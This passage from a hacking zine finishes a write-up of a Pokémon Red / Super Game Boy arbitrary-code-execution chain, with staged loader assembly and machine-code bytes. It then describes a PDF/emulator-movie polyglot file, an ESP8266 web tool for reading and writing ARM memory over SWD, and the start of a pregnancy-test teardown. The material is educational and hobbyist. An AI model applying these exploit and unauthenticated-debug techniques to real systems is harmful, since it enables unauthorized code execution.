eliminate the 30 00 portion, but because that sequence is effectively a NOP,
we leave it be.

To reduce the number of bytes that needed to be modified, we used
several clever tricks. The code that jumps to this point sets HL to the
jump target address, and HL is a canonical pointer register that can be
written to. We reused 0xD36E, the map level script pointer, as the loop
jump address; upon exiting the menu, the map level script pointer is
loaded and called, so it loads the value in 0xD36E into HL and jumps to it.

Stage 1’s purpose is to read the buttons being held down on the
controller and write them somewhere, eventually executing what we’ve
written using this slightly more efficient method than twiddling with
Pokémon and items. At a high level, this code will read a byte from the
controller on one frame, read another byte from the controller on the
next frame, subtract the two, store the result at a given memory offset
and repeat, successively storing values one byte at a time in order in
memory, and ultimately executing said bytes.

The game’s NMI (Non-Maskable Interrupt) routine writes a bitmap
of the current buttons being held down during each frame (mapped as
the buttons ABsSRLUD from lowest to highest bit) to 0xFFF8, and HALT is



used to wait for the next frame. Unfortunately, the SGB BIOS cancels
out LEFT+RIGHT or UP+DOWN if they are pressed simultaneously
and instead converts those bits to 0’s. To work around it, our short
routine reads two frames and combines the values in a way that can
yield arbitrary bytes. Because of restrictions on which bytes we can
create, we use LD C,A to store the first value and then SUB C to combine

them.13

Using this method, we write the following data to 0xD338, which is
executed every frame; that is to say, it is repeatedly executed even
before it is fully written!

Figure 10.6: Item IDs can double as Z80 opcodes.

The memory range from 0xD338 to D360 contains only 00’s and forms a
cascade of harmless NOP instructions. This is critical, because this entire
section is executed every time a byte is written; this also means we have
to be extremely careful with what we write, to avoid executing an
incomplete Stage 2 that causes a crash. The solution is to write a jump
instruction of 18 27 into the first two bytes—which will skip execution
of Stage 2 while it is being constructed. The sequence 18 27 can’t be
entered in one frame, but fortunately the incomplete form, 18 00, is



effectively a NOP instruction. This gives us the full range from 0xD33A to
0xD360 where we can write whatever we want with impunity, and HL
points to 0xD33A.

We write 0x1a8 (JR x) into current write position and advance write
position:

Figure 10.7: Sending payload (combos injected by first controller)

We write 0x27 into current write position, turning the first
instruction into a nontrivial jump.



We write the Second Stage to D33A-D360 which is jumped over and not
executed. This takes 39 iterations through the loop.

After this, we somehow need to jump to the newly completed Stage
2. The HL now points to 0xD360 and the next byte we poke is 18, which
turns the first instruction in the Stage 1 code into JR 0, which is still
effectively a NOP.

We write 18 (JR x) to current position, turning the 30 into 18, acting as
a JR 0 instruction.

We write D7 into 0xD362, which modifies the instruction to be JR -41,
which jumps to 0xD33A, the start of the second payload. After one more
call into 0xD338 and the subsequent jump to 0xD360, the execution jumps to
the Second Stage.

We write D7 (-41) to current position, turning the jump into a jump
to execute the Stage 2:



One last note before moving on to what Stage 2 will do for us: as
with most things in this exploit, entering the Stage 2 payload isn’t as
straightforward as it should be, and this time it’s because the SNES and
the DMG run at different clock speeds and framerates. It takes 351,120
cycles for the DMG to run one frame, and 357,366 for the SNES to
run one frame. Each side polls the inputs once per their frame, and the
SNES side updates the inputs that the DMG side reads once per frame.
Since each SNES frame takes slightly longer, the SNES regularly skips
updating inputs for one full DMG frame, causing the input to be

duplicated.14

This clock skew slip happens about every 56 DMG frames.
(Sometimes it’s 57 frames between slips due to slipping.) It takes a full
86 frames to input the Stage 2 sequence because there are 39 bytes of
payload plus four bytes total for prologue and epilogue jump
instructions, and each byte takes two frames to enter as a result of
working around L+R and U+D combinations being nulled out. This
means we have to cope with at least one clock skew slip, and because 86
isn’t that much bigger than 2 × 56, the slip position must be relatively

near the middle to avoid having to deal with two slips.15

Figure 10.8: Z80 opcodes that can be sent through SGB input
filtering.



Stage 2: Sending packets to escape SGB from very
little space.

We have just 39 bytes to work with in the Stage 2 payload we just wrote
and we need to make the most out of every last byte. Fortunately,
Pokémon Red already contains a routine that sends a command packet
into the SNES. The catch is the code to send that packet is in another
ROM bank (0x1C) that we need to switch to. While the ROM bank can
be switched by a single write, the game NMI routine (which runs every
frame) does not save the bank; rather, it switches to one stored in
another memory address instead. Two writes are needed to reliably
change the bank which would take too much space; however, the
common part of ROM (mapped regardless of the bank) has a function
that does something, then switches banks and returns. That function
makes for a very useful gadget! The entry address for this function is
0x00AF, with register A holding the bank number.

We need to send two separate command packets, described below.16

The packets aren’t a full sixteen bytes in length like they appear to be,
but eleven and seven bytes; the tails of the packets are ignored, so we let
the packet payloads overrun into whatever happens to be next. After
sending the packets, we have no use for the DMG anymore, so we hang
the Z80 by entering a tight loop.

The following Stage 2 assembly code is loaded into memory from
0xD33A to D360.



Originally, the LD L, 0x58; NOP sequence was LD HL, 0xD358 but we
discovered that the transfer routine leaves the upper eight bits of the
address in the H register at the end of the transfer. The transfer end of
the packet at 0xD34D will be 0xD35D, so the H register will be D3, which is
exactly the value we want for the next packet, so we can save one byte
by just loading the L register. The saved byte can taken to be NOP (00).

The repeated input can land on two inputs of the same byte, or the
last input of one byte and first input of next. The latter is much better,
since for any byte pair, it is possible to construct three valid inputs.
However, the first is much worse: The byte will be forced to 00, and
even more unfortunately, the frame rules always cause the duplication
to occur in a bad way. The 00 freed from only loading L is close enough
to the middle that this byte can be targeted for duplication. It turned
out that the emulator doesn’t emulate the input slipping quite
accurately and we had to do a lot of tedious trial and error testing to

time the input correctly.17 The offset between emulator and real



hardware turned out to be eight frames, which we adjusted by adding
eight frames of no input into the file sent to the bot prior to exiting the
menu.

Exploiting DMG→SGB command packets for gaining
a foothold on SNES

The Super Game Boy command packet protocol has two nifty
commands for gaining control of the SNES. 0x79 writes data to an
arbitrary memory location, while 0x91 sets the NMI vector and jumps to
an arbitrary address. Both commands are real, documented command
packets; they are not undocumented debug commands.

Since the Stage 2 code executing on the DMG is so small we needed
to minimize the number of packets required. The SNES’s controller
registers are memory-mapped I/O registers that automatically update



each video frame when enabled. It is possible to execute code from
those registers but it isn’t particularly easy to do so, largely because it is
very unsafe to execute anything from those registers when they are in
the middle of an update. (There are all sorts of intermediate stages.)

The solution is to find some way for the SNES CPU to waste time
during that update elsewhere. The NMI vector and the NMI handler
are perfect for this: when enabled, it starts running just before the
register starts updating. We just need an NMI handler that wastes
somewhere between roughly four and 260 scanlines, so it hits after the
current NMI returns but before the next NMI starts. Scanning
descriptions of various SNES I/O registers, a useful one seems to be
$4212, which has bit 7 set when the console is performing a vertical
retrace. The NMI occurs immediately after the vertical retrace starts
and the retrace lasts for about 40 scanlines, so waiting for $4212 bit 7 to
clear works out perfectly. Since the retrace bit is bit 7 and the SNES

CPU happens to be in a mode where the A register is 8 bits wide,18

numbers with bit 7 set show as negative, so it’s trivial to branch on
those using BMI instruction. Handily enough, the LDA instruction that
loads the memory address into the A register sets the condition flags, so
we can just loop around that one instruction using BMI.

After the loop, we must return from the NMI. This is done using
the RTI instruction, so the final NMI handler looks like:

This handler trashes the A register, which is generally considered
bad style, but we can get away with doing that.

We send two packets; the first one writes six bytes (AD 12 42 30 FB 40)
into the memory address 0x001800. This is the NMI routine.



The second one jumps to 0x004218, which is the start of the controller
registers, with the NMI vector set to 0x001800, the address of the routine

we just wrote.19

Figure 10.9: Inception



Stage 3: From stable loop in autopoller registers to
loading payloads.

480 bytes per second; 60 payload bytes per second.

We have transferred control flow to controller registers, but we
aren’t done just yet. The controller registers are only eight bytes in
size, and normally not all bits are even controllable. However, there are
some tricks we can play to control all the bits. First, even though a
standard SNES controller only has twelve buttons, the autopoller reads
all 16 bits. Normally the last four are controller type identification
bits. Since those bits are read from the controller, the controller can set
those bits to whatever it likes, including changing those bits every
frame. Second, the last four bytes of the register are read from the
second data line that is normally not connected to anything unless
there is a multitap device. It isn’t possible to just connect a multitap
device whenever we like as the game will softlock. Fortunately, it is
possible to connect the second controller so that it shares all the other
pins (+5V, ground, latch and clock), but use the second data pin instead
the first.

These two tricks allow controlling all 128 bits in the controller
registers which gives us eight bytes of data per frame. While this is a
huge improvement over our Stage 1 effective data rate of a nybble per
frame it still only amounts to a datarate of 300 bytes per frame because
three of those eight bytes need to be used for looping in the controller
registers, leaving only five bytes usable. (Although, as you’ll see, only
one byte of payload data can be sent per frame.)



Specifically, to loop successfully in the controller registers we need
to wait for the NMI induced interrupt in order to avoid the NMI
happening at an unpredictable instruction (because the NMI trashes A)
and then jump to the start of the controller register. Then there is issue
that NMI is not initially enabled, even if the handler is set, so the first
frame has to enable the NMI handler. Fortunately, this can be done
rather compactly:

Since the code is idempotent, this is good time to switch from
sending input in once per frame to sending input in once per latch poll.
The way the SGB BIOS polls the controllers is completely crazy, often
polling more than once per frame, polling too many bits, trying to poll
but leaving the latch held high, etc. Because this is a somewhat
common problem even in other games, the bot connected to the
controller ports has a mode where it synchronizes what input to send
based on the edge of each video frame (1/60th of a second in a polling
window) by keeping track of how much time has elapsed; if the game
asks for input more than once on the same frame we give it that frame’s
input again until we know it is time for the next frame’s polls, which



means we can follow the polling no matter how crazy it is. The obvious
trade off is that this mode is limited to eight bytes per frame with four
controllers attached, so we need to switch the bot’s mode to one that is
strictly polling based, sending the next set of button presses on each
latch. Making that transition can be a bit glitchy considering it was
added as a firmware hack but because this piece of code is idempotent
we can just spam the same input several times as we only need it to hit
in the range. This happens from frame 12,117 to 12,212 in the movie.

We now have a stable loop in the controller registers that we can
use to poke some code into RAM. The five bytes per frame is enough to
write one byte per frame into an arbitrary address in first 8kB of the
SNES’s RAM:

This assembles to five bytes, A9 xx 8D yy yy. Finally, after the writes,
we can use JML (four bytes) to jump to the desired address. Since the
DMG is still playing some annoying tunes, the first order of business is
to try to crash it. Writing 00 to the clock control/reset register at 0x6003
should do the trick by stopping the DMG clock, and in fact this works
in the LSNES emulator, but on a real console the annoying tunes keep

playing until the DMG corrupts itself enough to crash completely.20



Figure 10.10: Now using four controllers!

Stage 4: Increasing the datarate even further.

3,840 bytes per second.

One byte per frame is rather slow as it would take us several
minutes to write our payload at that speed so we poke the following
routine (Stage 4) that reads eight bytes per frame from the autopoller
registers and writes it sequentially to RAM, starting from 0x1A00 until
0x1B1F into address 0x19000.

As machine code, e2 30 a9 01 8d 00 42 c2 10 a0 00 1a ad 12 42 10 fb ad 12 42
30 fb a2 18 42 a9 00 eb a9 07 8b 54 7e 00 ab c0 20 1b d0 e4 5c 08 1a 7e.

Why jump to eight bytes after the start of the payload? It turns out
that code loads some junk from what is previously in the controller



registers on the first frame, so we just ignore the first few bytes and start
the payload code afterwards. Eight bytes per frame still isn’t fast
enough, so the routine this code pokes into RAM is another loader
routine that uses serial controller registers to read eight bytes eight
times per frame, for total of 64 bytes per frame.

Let’s take a look at the Stage 5 payload:

; 0000 => Current transfer adr
; 0002 => Transfer end address
; 0004 => Blocks to transfer.
; 0006 => Current xfr bank.
; 0008 => 0: No transfer.
;     1: Transfer in progress.
; 000C => Blocks transferred.
; 0010 => Jump vector to next
;         in chain.
; 0020-0027 => Buffer
; 0080-00BF => Buffer.

Start:
NOP  ; 8 NOPs, for the junk
NOP  ; at start.
NOP
NOP
NOP
NOP
NOP
NOP
SEI
LDA #$00 ; Autopoll off,
         ; NMI and IRQ off.
STA $4200

REP #$30 ; 16 - bit A/X/Y.

; Initially no   transfer.
LDA #$0000
STA $0008

frame_loop:

SEP #$20
not_in_vblank:
; Wait until next vblank ends
LDA $4212
BPL not_in_vblank
in_vblank:



LDA $4212
BMI in_vblank
REP #$20

LDA #$0008
STA $0004
LDA #$0000
STA $000C

rx_block:
LDA #$0001
STA $4016
LDX #$0003
latch_high_wait:
DEX
BNE latch_high_wait
STZ $4016
LDX #$0004
latch_low_wait:
DEX
BNE latch_low_wait

LDA #$0000
STA $0020
STA $0022
STA $0024
STA $0026

LDY #$0010
read_loop:
LDA $4016
PHA
; Bit 0 => 0020,
; Bit 1 => 0024,
; Bit 8 => 0022,
; Bit 9 => 0026
BIT #$0001
BNE b0nz
LDA $0020
ASL A
BRA b0d
b0nz:
LDA $0020
ASL A
EOR #$0001
b0d:
STA $0020

PLA
PHA



BIT #$0002
BNE b1nz
LDA $0024
ASL A
BRA b1d
b1nz:
LDA $0024
ASL A
EOR #$0001
b1d:
STA $0024

PLA
PHA
BIT #$0100
BNE b8nz
LDA $0022
ASL A
BRA b8d
b8nz:
LDA $0022
ASL A
EOR #$0001
b8d:
STA $0022

PLA
BIT #$0200
BNE b9nz
LDA $0026
ASL A
BRA b9d
b9nz:
LDA $0026
ASL A
EOR #$0001
b9d:
STA $0026

DEY
BNE read_loop

; Move the block from 0020
; to its final place
LDA $000C
ASL A
ASL A
ASL A
CLC
ADC #$0080



TAY
LDX #$0020
LDA #$0007
MVN $00, $00

; Increment the count at 000C,
; decrement the count at 0004.
; If no more blocks, exit.
LDA $000C
INA
STA $000C
LDA $0004
DEA
STA $0004
BEQ exit_rx_loop
JMP rx_block
exit_rx_loop:

LDA $0008
BNE doing_transfer
; Okay, setup transfer.
LDA $0082
CMP #$FF
BMI not_jump
; This is jump, copy the adr.
STA $12
LDA $0080
STA $10
BRA out
not_jump:
LDA $0080; Starting address.
STA $0000
LDA $0082; Bank.
STA $0006
LDA $0084; Ending address.
STA $0002
; Self-modify the move.
LDX #move_instruction
LDA $0006
AND #$FF
STA $01,X

; Enter transfer.
LDA #$0001
STA $0008

; See you next frame.
JMP no_reset_transfer
doing_transfer:



; Copy the stuff to its final
; place in WRAM.
LDY $0000
LDX #$0080
LDA #$003F
PHB
move_instruction:
MVN $40,$00 ; Bogus bank,
            ; to be modified.
PLB
TYA
STA $0000
CMP $0002
BNE no_reset_transfer
STZ $0008    ; End transfer.
no_reset_transfer:
; Next frame.
JMP frame.loop
out:
JMP [$10]



Figure 10.11. Why should we wait for next frame? Go sub-frame!

Stage 5: Transfers of data in blocks with headers.

3,840 bytes per second.

This routine is rather complex, so let’s review some of its trickier
parts. The serial protocol works by first setting the latch bit, bit 0 in
0x4016, then clearing it, then reading the appropriate number of times
from 0x4016 (port #1) and 0x4017 (port #2). Bit 0 of the read result is the
first data line value, while bit 1 is the second data line value. After each
read, the line is automatically clocked so the next bit is read. The two
port latch lines are connected together; bit 0 of 0x4016 controls both.

The bot is slow, so we wait after setting/clearing the latch bit. We
properly reassemble the input in the usual order of the controller
registers, since we have CPU time available to do that. Since we read
16-bit quantities, port 0x4017 is read as high 8 bits, so the data lines there
appear as bits 8 and 9.

To handle large payloads, the payload is divided into blocks with
headers. Each header tells where the payload is to be written, or, if it is
the last block, where to begin execution.

The routine uses self-modifying code: The source and destination
banks in MVN are fixed in code, but this code is dynamically rewritten



to refer to correct target bank.

Automating the Movie Creation

Since manually editing, recompiling and transforming inputs gets old
very fast when iterating payload ROMs, tools to automate this are very
useful. This is the whole reason for having Stage 5 use block headers.
Furthermore, to not have one person doing the work every time, it’s
helpful to have a tool that even script-kiddies can run. The tool to do
this is a Lua script that runs inside the emulator. (The LSNES
emulator has built-in support for running Lua scripts, with all sorts of
functions for manipulating the emulator.)

This code, the main Lua script, refers to four external files.
“stage4.dat” contains the memory writes to load the Stage 4 payload
from page 176 while executing in the controller registers.

This file contains the Stage 4 payload, plus the ill-fated attempt to
shut up the DMG. (As noted previously, it dies on its own later.) The
first line containing 0x001900 is the address to jump to after all bytes are
written.

A filename is taken as a parameter, which is the payload ROM to
use. As you can see, the Lua script fixes the memory mappings, but this
is okay, as those are not difficult to modify.

The specified memory mappings copy a sixteen kilobyte byte
region starting from file offset 0x8000 into 0x7E8000, and the 0x7A00 byte



region starting from offset 0x10000 into 0x7F8000. (The first 32kB contain
initialization code for testing.)

The script assumes that the loaded movie causes the SNES to jump
into controller registers and then enable NMI, using the methods
described earlier. It appends the rest of the stages and payload to the
movie. Also, since it edits the loaded input, it is possible to just load
state near the point of gaining control of the SNES and then append
the payload for very fast testing. (Otherwise it would take about two
minutes for it to reach that point when executing from the start.)





Stage 6: Twitch Chat Interface

After successfully transferring our payload, execution of the exploit
payload (created by P4Plus2) can officially begin. There are three parts
to the final payload: Reset, the Chat Interface, and a TASVideos
Webview.

The Reset



Because much of the hardware state is either unknown or unreliable at
the point of control transfer we need to initialize much of the system to
a known state. On the SNES this usually implies setting a myriad of
registers from audio to display state, but also just as important is
clearing out WRAM such that a clean slate is presented to the payload.
Once we have a cleared state it is possible to perform screen setup.

In the initial case we set the tile data and tilemap VRAM addresses
and set the video made to 0x01, which gives us two layers of 4–bit depth
(Layers 1 and 2) and a single layer of 2–bit depth, Layer 3.

Layer 1 is used as a background which displays the chat interface,
while Layer 2 is used for emoji and text. Layer 3 is unused. A special
case for the text and emoji however is Red’s own text which is on the
sprite layer, allowing code to easily update that text independently.

The Chat Interface

Now that we have the screen itself set up and able to run we need to
stream data from Twitch chat to the SNES. But we only have 64 bytes
per frame available to support emoji as well as the alphabet, numbers,
various symbols, and even special triggers for controlling the payload
execution. This complexity quickly bogged down our throughput per
frame, so we created special encodings for performance! On average the
most common characters will be a-z in lower case, which conveniently
fit into a 5–bit encoding with several more characters to spare.

The SNES has both 16–bit and 8–bit modes, so in 16–bit mode we
can easily process three characters with a bit to spare! But what about
the rest of our character space? Well, we have a single bit remaining
and can set it to allow the remaining characters to be alternatively
encoded. The alternate encoding allowed for two 7 bit characters, with
an additional toggle bit on the second character.



The most important command was EE, chosen very arbitrarily,
which meant “transition state.” The state transition would then toggle
between the TASVideos website and chat interface. Also worth noting
is that any character with a value of 00 was considered a null character
and was not displayed for synchronization purposes.



Figure 10.12: Twitch Chat!

The Website

The website itself is not very complicated, rather just interesting to
mention to take advantage of mode 0x03 which allowed us to render a
256–color image, rather than the standard 16–color images from the
prior section. The only caveat was that we had to make a quick tool to
remove duplicate tiles to optimize the tile data to fit in VRAM.
Background colors were controlled by tweaking the palette data rather
than the image itself, as the SNES is very poor at manipulating raw tile
data due to its planar pixel format.



Outside of the SNES

The bot was connected to the console through the controller ports and
a single wire going to the reset pin on the expansion board, meaning
that from an external perspective the hardware was completely
unmodified. The bot itself was connected by a USB serial interface to a
MacBook Pro running Linux. The source of the button presses being
sent to the bot was in the form of a continuous bitstream representing
the state of all buttons for each frame. Once the payload was fully
written and the Twitch chat interface was complete the bitstream
transitioned from being pre-created movie content to a bitstream in
the format the chat interface payload needed it in, with 5-bit and 7-bit
encodings for characters and emoji. This was controlled by the python
scripts that relied on a script to identify when Red, the player inside of

the Pokémon Red game, said various things.21 The script also triggered
things that TASBot, the robot holding the replay device, would say via
the use of espeak, which allowed us to create a conversation between
TASBot and Red.

As part of the script we predefined periods where we would “deface”
the TASVideos website by changing it to different colors; this worked
by showing an image on the SNES as well as literally defacing the
actual website. Finally, the script was built with the ability to send
commands to a serial-controlled camera, but truth be told we ran out
of time to test it so we used a bit of stage magic to pretend like Twitch
chat was interacting with the camera by typing directions to move it,
and we had a helpful volunteer running the camera for us.

Live Performance

These exploits were unveiled at AGDQ 2015. They were streamed live
to over 100,000 people on January 4th with a mangled Python script
that didn’t trigger the text for Red properly, then again on January 11th
with the full payload. The run was very well received and garnered

press coverage from Ars Technica22 among others and resulted in



substantially more interest in TASBot and the art of arbitrary code
execution on video games than had existed previously. Most
importantly, the TAS portions of the marathon where the exploit was
featured helped raise over fifty thousand dollars directly to the Prevent
Cancer Foundation. Overall, the project was a resounding success, well
worth the substantial effort that our team put into it.

10:4 This PDF is a Gameboy exploit!

by Philippe Teuwen

The idea for this polyglot is to embed the contents of the previous
article in such a way that it shows when played as an LSNES movie. So
now you can use your copy of the journal to exploit your hardware and
read “Pokémon Plays Twitch” on your TV. This way, we hope to start
a tradition of articles being viewable on the hardware of the article!

LSNES supports two kinds of movie files, which might better be
thought of as input recording files. The older format is ZIP based and
formally specified, while the new one is binary and custom. The new
binary format has no official specs, but starting a PDF with a ZIP
signature would now trigger Adobe’s blacklist. Clearly, someone at the
company must have disliked something about one of our previous
releases. So the new, non-ZIP LSMV binary format is the one that
we’ll use.

The buffers for read and write calls for movie data are straight out
of the movie data in memory. One unintended benefit of the new
format is that it is much easier to write from SIGSEGV or similar
signal handlers. (The memory allocator cannot be trusted from inside a
signal handler, of course.)



The binary LSMV format is chunk-based. The “lsmv” magic must
be at offset 0; we can’t have any appended data. So the PDF header and
content must be added in a dummy chunk early in the LSMV, and the
ZIP and PDF footer must be added at the end of the file, in another
dummy chunk (see included diagram).

A clean version of the LSMV file has been submitted to

TASVideos.23 You can play this polyglot on a modified LSNES with
the hybrid emulation core using BSNES and Gambatte or, if you have
the required hardware, on the real stuff!

Be warned that none of these approaches is trivial. We include

detailed howtos with the zip contents of this issue.24





10:5 SWD Marionettes; or, The Internet of
Unsuspecting Things

by Micah Elizabeth Scott

Greetings, neighbors! Let us today gather to celebrate the Internet
of Things. We live in a world where nearly any appliance, pet, or snack
food can talk to the Cloud, which sure is a disarming name for this
random collection of computers we’ve managed to network together. I
bring you a humble PoC today, with its origins in the even humbler
networking connections between tiny chips.

Firmware?
Where we’re going, we don’t need firmware.

I’ve always had a fascination with debugging interfaces. I first learned to
program on systems with no viable debugger, but I would read
magazines in the nineties with articles advertising elaborate and pricey
emulator and in-circuit debugger systems. Decades go by, and I learn
about JTAG, but it’s hard to get excited about such a weird, wasteful,
and under-standardized protocol. JTAG was designed for an era when
economy of silicon area was critical, and it shows.

More years go by, and I learn about ARM’s Serial Wire Debug
(SWD) protocol. It’s a tantalizing thing: two wires, clock and
bidirectional data, give you complete access to the chip. You can read
or write memory as if you were the CPU core, in fact concurrently
while the CPU core is running. This is all you need to access the
processor’s I/O ports, its on-board serial ports, load programs into
RAM or flash, single-step code, and anything else a debugger does. I
took my first dive into SWD in order to develop an automated testing
infrastructure for the Fadecandy LED controller project. There was
much yak shaving, but the result was totally worthwhile.



More recently, Cortex-M0 microcontrollers have been showing up
with prices and I/O features competitive with 8-bit micro-controllers.
For example, the Freescale MKE04Z8VFK4 is less than a dollar even in
single quantities, and there’s a feature-rich development board
available for $15. These micros are cheaper than many single-purpose
chips, and they have all the peripherals you’d expect from an AVR or
PIC micro. The dev board is even compatible with Arduino shields.

In light of this economy of scale, I’ll even consider using a Cortex-
M0 as a sort of I/O expander chip. This is pretty cool if you want to
write microcontroller firmware, but what if you want something
without local processing? You could write a sort of pass-through
firmware, but that’s extra complexity as well as extra timing
uncertainty. The SWD port would be a handy way to have a simple
remote-controlled set of ARM peripherals that you can drive from
another processor.



Okay! So let’s get to the point. SWD is neat; we want to do things
with it. But, as is typical with ARM, the documentation and the
protocols are fiercely layered. It leads to the kind of complexity that
can make little sense from a software perspective, but might be more
forgivable if you consider the underlying hardware architecture as a
group of tiny little machines that all talk asynchronously.

The first few tiny machines are described in the 250-page ARM
Debug Interface Architecture Specification ADIv5.0 to ADIv5.2 tome.
It becomes apparent that the tiny machines must be so tiny because of
all the architectural flexibility the designers wanted to accommodate.
To start with, there’s the Debug Port (DP). The DP is the lower layer,
closest to the physical fink. There are different DPs for JTAG and
Serial Wire Debug, but we only need to be concerned with SWD.

We can mostly ignore JTAG, except for the process of initially
switching from JTAG to SWD on systems that support both options.
SWD’s clock matches the JTAG clock line, and SWD’s bidirectional
data maps to JTAG’s TMS signal. A magic bit sequence in JTAG mode
on these two pins will trigger a switch to the SWD mode, as shown in
Figure 10.13.



Figure 10.13: JTAG-to-SWD sequence timing

SWD will look a bit familiar if you’ve used SPI or I2C at all. It’s
more like SPI, in that it uses a fast and non-weird clocking scheme.
Each processor’s data sheet will tell you the maximum SWD speed, but
it’s usually upwards of 20 MHz. This hints at why the protocol includes
so many asynchronous layers: the underlying hardware operates on
separate clock domains, and the debug port may be operating much
faster or slower than the CPU clock.

Whereas SPI typically uses separate wires for data in and out, SWD
uses a single wire and relies on a turnaround period to switch bus
directions during one otherwise wasted clock cycle that separates
groups of written or returned bits. These bit groups are arranged into
tiny packets with start bits and parity and such, using turnaround bits
to separate the initial, data, and acknowledgment phases of the transfer.
For example, see Figures 10.14 and 10.15 for read and write operations.
For all the squiggly details on these packets, the tome has you covered
starting with Figure 4-1.

These low-level SWD packets give you a memory-like interface for
reading and writing registers, but we’re still a few layers removed from
the kind of registers that you’d see anywhere else in the ARM
architecture. The DP itself has some registers accessed via these
packets, or these reads and writes can refer to registers in the next layer,
the Access Port (AP).

Figure 10.14: Serial Wire Debug successful read operation



Figure 10.15: Serial Wire Debug successful write operation

The AP could really be any sort of hardware that needs a dedicated
debug interface on the SoC. There are usually vendor specific access
ports, but usually you’re talking to the standardized MEM-AP which
gives you a port for accessing the ARM’s AHB memory bus. This is
what gives the debugger a view of memory from the CPU’s point of
view.

Each of these layers are of course asynchronous. The higher levels,
MEM-AP and above, tend to have a handshaking scheme that looks
much like any other memory mapped I/O operation. Write to a
register, wait for a bit to clear, that sort of thing. The lower level
communications between DP and AP needs to be more efficient,
though, so reads are pipelined. When you issue a read, that transaction
will be returning data for the previous read operation on that DP. You
can give up the extra throughput in order to simplify the interface if
you want, by explicitly reading the last result (without starting a new
read) via a Read Buffer register in the DP.

This is where the Pandora’s Box opens up. With the MEM-AP, this
little serial port gives you full access to the CPU’s memory. And as is
the tradition of the ARM architecture, pretty much everything is
memory-mapped. Even the CPU’s registers are indirectly accessed via a
memory mapped debug controller while the CPU is halted. Now
everything in the thousands of pages of Cortex-M and vendor-specific
documentation is up for grabs.



Now I’m getting to the point.

I like making tools, and this seems like finally the perfect layer to use as
a foundation for something a bit more powerful and more explorable.
Combining the simple SWD client library I’d written earlier with the
excellent Arduino ESP8266 board support package, attached you’ll find
esp8266-arm-swd, an Arduino sketch you can load on the $5 ESP8266 Wi-Fi

microcontroller.25 There’s a README with the specifics you’ll need to
connect it to any ARM processor and to your Wi-Fi. It provides an
HTTP GET interface for reading and writing memory. Simple, joyful,
and roughly equivalent security to most Internet Things.

These little HTTP requests to read and write memory happen
quickly enough that we can build a live hex editor that continuously
scans any visible memory for changes, and sends writes whenever any
value is edited. By utilizing all sorts of delightful HTML5 modernity
to do the UI entirely client-side, we can avoid overloading the
lightweight web server on the ESP8266.

This all adds up to something that’s I hope could be used for a kind
of literate reverse engineering and debugging, in the way Knuth



imagined literate programming. When trying to understand a new
platform, the browser can become an ideal sandbox for both
investigating and documenting the unknown hardware and software
resources.

The included HTML5 web app, served by the Arduino sketch, uses
some Javascript to define custom HTML elements that let you embed
editable hex dumps directly into documentation. Since a register write
is just an HTTP GET, hyperlinks can cause hardware state changes or
upload small programs.

There’s a small example of this approach on the “Memory Mapped
I/O” page, designed for the $15 Freescale FRDM-KE04Z board. This
one is handy as a prototyping platform, particularly since the I/O is 5V
tolerant and compatible with Arduino shields. Figure 10.16 contains
the HTML5 source for that demo.



Figure 10.16: Single Wire Debug from HTML5



This sample uses some custom HTML5 elements defined in
/script.js: swd-async-action, swd-hexedit, and swd-hexword. The swd-async-action
element isn’t so exciting, it’s really just a special kind of hyperlink that
shows a pass/fail result without navigating away from the page. The swd-
hexedit is also relatively mundane; it’s just a shell that expands into many
swd--hexword elements. That’s where the substance is. Any swd--hexedit
element that’s scrolled into view will be refreshed in a continuous
round-robin cycle, and the content is editable by default. These
become simple but powerful tools.



Put a chip in it!

While the practical applications of esp8266-arm-swd may be limited to
education and research, I think it’s an interesting Minimum Viable
Internet Thing. With the ESP8266 costing only a few dollars, anything
with an ARM microcontroller could become an Internet Thing with
zero firmware modification, assuming you can find the memory
addresses or hardware registers that control the parts you care about. Is
it practical? Not really. Secure? Definitely not! But perhaps take a
moment to consider whether it’s really any worse than the other
solutions at hand. Is ARM assembly and HTML5 your kind of fun?

Please send pull requests.26 Happy hacking





10:6 Reversing a Pregnancy Test; or, Bitch better
have my money!

by Amanda Wozniak

The adventure started like most adventures do—in a dark bar near
a technical institute over pints of IPA. An serial entrepreneur plied me
with compliments, alcohol and assurances of a budget worthy of my
hourly rate to take an off-the shelf device and build a sales-pitch demo
in support of his natal company’s fund-raising and growth plan. The
goal was to take approximately zero available fabrication resources
other than myself and spend a couple of months to make a universally
approachable, easy to use demonstration prototype for a (now utterly
defunct) startup’s flow strip technology with a hack-a-thon patented
Internet-of-Things interface. The target was an entry straight out of
PC Magazine’s The Secret World of Embedded Computers, the thing no
active neighbor should be without—a handy-dandy off the shelf CVS
digital pregnancy test.



Fast, Cheap, and Easy

Head on down to your local pharmacy, and virtually every store will
carry a nifty brand of digital pregnancy tests. All of these tests are
basically identical (inside and out), and the marketing strategy is
simple. Humans are bad at reading analog inputs, so when your time
comes, let technology ease your mind whether you, the user is stressed
to the breaking point trying to get pregnant or if you’re in the boat of
desperately hoping you’re sterile. “Oh god, it’s been three seconds. Or
minutes? Wait? What happened to space time. Is there one blue line?

Two? I feel faint. Fish? Fuck! I’m pregnant with mutant fish babies.”27



Now, it doesn’t matter which brand you—buy for this exercise as far
as I can tell, they’re all based on the same two-chip solution built
around a Holtek HT48C06 microprocessor. And you can guess at the
function without cracking the case – just go buy one and look at the
test strips themselves. For bonus points, look as underaged as possible.

Remember, this OTS technology is extra cool because back in the
day, instead of peeing on a stick, women suspected of pregnancy had to
have their urine injected into a rabbit in order to assess pregnancy
before the onset of “the quickening.” If you think it’s hard telling the
difference between + and —, you definitely haven’t had to divine your
future livelihood from the appearance of leporid entrails. (By the
Theory of Cyber-Extension, every time you use a digital pregnancy
test, a cute bunny Tamagotchi is saved from certain death.)

Basics of the Test

Each strip has an absorbent area (that you pee on) and a clear window
where the test results show up. One stripe is a control stripe that fires
(changes color) in any liquid from water to bourbon, and the other one
is a test stripe that only fires when sufficient concentrations of the
hormone hCG are present in the fluid sample. (hCG stands for Human



Chorionic Gonadotropin, named because scientists snicker at words
like “gonad.”) You can use the strips without the digital tester, because
all you’re being sold is a device that will load in one of the basic strips,
and monitor the control and test stripes, and return three results:
ERROR, NOT or PREGNANT. It turns out that $50 and getting at
least one pregnant woman to pee on a test strip can end up for an
entertaining couple of evenings at the old workbench.

Following these instructions, with enough time, patience and
abstinence, you’ll be able to make your own legitimate-looking
pregnancy test that works on men and women alike! Or jazz it up to say
“HI MOM” in no time.

Teardown

To open the case of a digital pregnancy test (DPT), take a nickel or
quarter, place it in the detent in the injection molded case, and gently
twist. The model of DPT I did most of my work with was the generic
